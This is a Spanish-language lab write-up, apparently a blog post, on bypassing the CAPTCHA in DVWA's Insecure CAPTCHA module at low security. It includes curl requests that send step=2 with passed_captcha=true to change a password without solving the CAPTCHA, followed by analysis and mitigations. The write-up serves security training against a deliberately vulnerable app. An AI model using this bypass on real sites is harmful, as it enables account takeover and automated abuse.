🛡️Explotación – DVWA (Insecure CAPTCHA)

Por /

🧠 Información General

  • Aplicación objetivo: DVWA (Damn Vulnerable Web Application)
  • Módulo: Insecure CAPTCHA
  • Entorno: Localhost / Docker
  • Nivel de seguridad: Bajo

🎯 Objetivo

Evaluar la implementación del CAPTCHA y comprobar si es posible evadir su validación para modificar credenciales sin resolverlo correctamente.

🔍 Fase 1 – Identificación de la Vulnerabilidad

📍 URL objetivo

http://localhost:8080/vulnerabilities/captcha/

🔎 Comportamiento observado

  • El formulario permite cambiar la contraseña de un usuario
  • Incluye un sistema CAPTCHA como mecanismo de protección
  • Inicialmente no funciona correctamente por falta de configuración
  • Tras configurar parámetros en config.inc.php, el CAPTCHA se activa

⚠️ Fase 2 – Análisis de la Lógica

El flujo de la aplicación se divide en dos pasos:

  • step=1 → Validación del CAPTCHA
  • step=2 → Cambio de contraseña

❌ Problema detectado

La aplicación:

  • No valida correctamente el CAPTCHA en el servidor
  • Confía en un parámetro enviado por el cliente
passed_captcha=true

👉 Esto permite manipular el flujo de validación.

💣 Fase 3 – Explotación

🔹 Intento normal (fallido)

curl -X POST http://localhost:8080/vulnerabilities/captcha/ \
-d "step=1&password_new=hack&password_conf=hack&Change=Change" \
-b "PHPSESSID=XXXX; security=low"

Resultado:

The CAPTCHA was incorrect

🔹 Bypass del CAPTCHA

curl -X POST http://localhost:8080/vulnerabilities/captcha/ \
-d "step=2&password_new=hack&password_conf=hack&passed_captcha=true&Change=Change" \
-b "PHPSESSID=XXXX; security=low"

💥 Fase 4 – Resultado

Password Changed.

✔ La contraseña se modifica sin validar el CAPTCHA
✔ Se confirma bypass completo

🧠 Fase 5 – Análisis Técnico

La lógica vulnerable es equivalente a:

if ($passed_captcha == true) {
    cambiar_password();
}

🔴 Debilidades críticas

  • Validación en el lado cliente
  • Parámetro manipulable
  • Ausencia de verificación real con el proveedor de CAPTCHA

📉 Fase 6 – Impacto

Un atacante puede:

  • Evadir completamente el CAPTCHA
  • Automatizar cambios de contraseña
  • Ejecutar ataques masivos (bots)
  • Comprometer cuentas de usuario

🛡️ Fase 7 – Mitigaciones

  • Validar siempre el CAPTCHA en el servidor
  • Verificar la respuesta con el proveedor (ej. Google reCAPTCHA)
  • No confiar en parámetros del cliente
  • Implementar tokens de sesión seguros

🧾 Conclusión

La implementación del CAPTCHA es insegura, ya que la validación depende de un parámetro controlado por el cliente.

  • CAPTCHA → presente
  • Validación → incorrecta
  • Seguridad → comprometida

👉 Esto permite un bypass completo del mecanismo de protección.

⚡ Resumen Rápido

  • Vulnerabilidad: Insecure CAPTCHA
  • Tipo: Fallo lógico / confianza en cliente
  • Impacto: Alto
  • Exploit: step=2 + passed_captcha=true
  • Resultado: Cambio de contraseña sin validación
Scroll al inicio